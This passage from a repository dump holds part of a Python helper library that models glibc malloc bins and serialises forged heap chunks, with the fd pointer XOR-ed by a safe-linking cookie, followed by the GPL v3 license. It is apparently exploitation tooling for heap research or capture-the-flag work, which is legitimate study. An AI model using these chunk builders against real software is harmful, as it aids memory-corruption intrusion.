self.MALLOC_ALIGNMENT = 2 * self.SIZE_SZ 30 | # malloc函数分配块的最小单位 31 | self.MALLOC_ALIGN_MASK = self.MALLOC_ALIGNMENT - 1 32 | # malloc块对齐掩码 33 | self.MIN_CHUNK_SIZE = 4 * self.SIZE_SZ 34 | # 最小的可能的块大小 35 | self.MINSIZE = (self.MIN_CHUNK_SIZE + self.MALLOC_ALIGN_MASK) & (~self.MALLOC_ALIGN_MASK) 36 | # 最小块大小 37 | 38 | # Fastbins 39 | self.MAX_FAST_SIZE = 80 * self.SIZE_SZ // 4 40 | # 有效的fastbin每个块的最大大小 41 | self.DEFAULT_MXFAST = 64 * self.SIZE_SZ // 4 42 | # 默认的fastbin每个块的最大大小 43 | self.NFASTBINS = self.fastbin_index(self.request2size(self.MAX_FAST_SIZE) + 1) 44 | # fastbins中chunk的总数 45 | 46 | self.TCACHE_MAX_BINS = 64 47 | self.MAX_TCACHE_SIZE = self.tidx2usize(self.TCACHE_MAX_BINS - 1) 48 | 49 | # Bins 50 | self.NBINS = 128 51 | self.NSMALLBINS = 64 52 | self.SMALLBIN_WIDTH = self.MALLOC_ALIGNMENT 53 | self.SMALLBIN_CORRECTION = (self.MALLOC_ALIGNMENT > 2 * self.SIZE_SZ) 54 | self.MIN_LARGE_SIZE = ((self.NSMALLBINS - self.SMALLBIN_CORRECTION) * self.SMALLBIN_WIDTH) 55 | 56 | def request2size(self, req): 57 | out = req + self.SIZE_SZ + self.MALLOC_ALIGN_MASK 58 | if out < self.MINSIZE: 59 | return self.MINSIZE 60 | else: 61 | res = out & (~self.MALLOC_ALIGN_MASK) 62 | return res 63 | 64 | def aligned_OK(self, size): 65 | if size < self.MINSIZE: 66 | return False 67 | return bool((size & self.MALLOC_ALIGN_MASK) == 0) 68 | 69 | def size2request(self, size, tend=LARGER): 70 | if size == 0: 71 | return 0 72 | if not self.aligned_OK(size): 73 | print("Invalid chunk size.") 74 | return None 75 | form_size = size - self.SIZE_SZ * 2 76 | if tend == LARGER: 77 | req = form_size + self.SIZE_SZ 78 | elif tend == SMALLER: 79 | req = form_size - self.MALLOC_ALIGN_MASK + self.SIZE_SZ 80 | else: 81 | print("Invalid tend.") 82 | return None 83 | assert(size == self.request2size(req)) 84 | return req 85 | 86 | # this is the real size we get in chunk 87 | def userSize(self, req): 88 | padded = self.request2size(req) 89 | if req + 2 * self.SIZE_SZ > padded: 90 | return padded - self.SIZE_SZ 91 | return padded - 2 * self.SIZE_SZ 92 | 93 | def maxSize(self, req): 94 | padded = self.request2size(req) 95 | return padded - self.SIZE_SZ 96 | 97 | def formSize(self, req): 98 | padded = self.request2size(req) 99 | return padded - 2 * self.SIZE_SZ 100 | 101 | @staticmethod 102 | def setBit(num, idx, bit): 103 | mask = bit << idx 104 | num = num | mask 105 | return num 106 | 107 | # sz为堆块的总大小 108 | def fastbin_index(self, sz): 109 | return (sz >> (4 if self.SIZE_SZ == 8 else 3)) - 2 110 | 111 | def in_smallbin_range(self, sz) : 112 | return sz < self.MIN_LARGE_SIZE 113 | 114 | def smallbin_index(self, sz): 115 | res = (sz >> 4 if self.SMALLBIN_WIDTH == 16 else sz >> 3) + self.SMALLBIN_CORRECTION 116 | return res 117 | 118 | @staticmethod 119 | def largebin_index_32(sz): 120 | if (mid := (sz >> 6)) <= 38: 121 | return 56 + mid 122 | if (mid := (sz >> 9)) <= 20: 123 | return 91 + mid 124 | if (mid := (sz >> 12)) <= 10: 125 | return 110 + mid 126 | if (mid := (sz >> 15)) <= 4: 127 | return 119 + mid 128 | if (mid := (sz >> 18)) <= 2: 129 | return 124 + mid 130 | return 126 131 | 132 | @staticmethod 133 | def largebin_index_32_big(sz): 134 | if (mid := (sz >> 6)) <= 45: 135 | return 49 + mid 136 | if (mid := (sz >> 9)) <= 20: 137 | return 91 + mid 138 | if (mid := (sz >> 12)) <= 10: 139 | return 110 + mid 140 | if (mid := (sz >> 15)) <= 4: 141 | return 119 + mid 142 | if (mid := (sz >> 18)) <= 2: 143 | return 124 + mid 144 | return 126 145 | 146 | @staticmethod 147 | def largebin_index_64(sz): 148 | if (mid := (sz >> 6)) <= 48: 149 | return 48 + mid 150 | if (mid := (sz >> 9)) <= 20: 151 | return 91 + mid 152 | if (mid := (sz >> 12)) <= 10: 153 | return 110 + mid 154 | if (mid := (sz >> 15)) <= 4: 155 | return 119 + mid 156 | if (mid := (sz >> 18)) <= 2: 157 | return 124 + mid 158 | return 126 159 | 160 | def largebin_index(self, sz): 161 | if self.SIZE_SZ == 8: 162 | return self.largebin_index_64(sz) 163 | if self.MALLOC_ALIGNMENT == 16: 164 | return self.largebin_index_32_big(sz) 165 | return self.largebin_index_32(sz) 166 | 167 | def bin_index(self, sz): 168 | if self.in_smallbin_range(sz): 169 | return self.smallbin_index(sz) 170 | return self.largebin_index(sz) 171 | 172 | def csize2tidx(self, sz): 173 | return (sz - self.MINSIZE + self.MALLOC_ALIGNMENT - 1) // self.MALLOC_ALIGNMENT 174 | 175 | def usize2tidx(self, x): 176 | return self.csize2tidx(self.request2size(x)) 177 | 178 | def tidx2usize(self, idx): 179 | return idx * self.MALLOC_ALIGNMENT + self.MINSIZE - self.SIZE_SZ 180 | 181 | 182 | class Chunk(Heap): 183 | def __init__(self, attack_obj=None, arch=None): 184 | super().__init__(attack_obj, arch) 185 | self.prev_size = 0 186 | self.size = -1 187 | self.norm_size = -1 188 | self.req_size = -1 189 | self.A = MAIN_ARENA 190 | self.M = NOT_MMAPPED 191 | self.P = PREV_INUSE 192 | self.fd = 0 193 | self.bk = 0 194 | self.fd_nextsize = 0 195 | self.bk_nextsize = 0 196 | self.cookie = 0 197 | self.link = SINGLE_LINKED 198 | 199 | def __bytes__(self): 200 | pword = lambda x : pack(x, self.SIZE_SZ * 8, 'little', False) 201 | payload = pword(self.prev_size) 202 | if self.size == -1: 203 | if self.norm_size == -1: 204 | self.norm_size = self.request2size(self.req_size) 205 | self.size = self.setBit(self.norm_size, 0, self.P) 206 | self.size = self.setBit(self.size, 1, self.M) 207 | self.size = self.setBit(self.size, 2, self.A) 208 | 209 | payload += pword(self.size) 210 | if self.link == SINGLE_LINKED: 211 | pword_c = lambda x : pword(x ^ self.cookie) 212 | else: 213 | pword_c = pword 214 | 215 | payload += pword_c(self.fd) + pword(self.bk) 216 | payload += pword(self.fd_nextsize) + pword(self.bk_nextsize) 217 | self.size = -1 218 | return payload 219 | 220 | def __getitem__(self, key): 221 | if isinstance(key, slice): 222 | byte = bytes(self) 223 | start = self.SIZE_SZ * (key.start if key.start else 0) 224 | stop = (self.SIZE_SZ * key.stop if key.stop else len(byte)) 225 | return byte[start:stop] 226 | else: 227 | return self[key:key + 1] 228 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------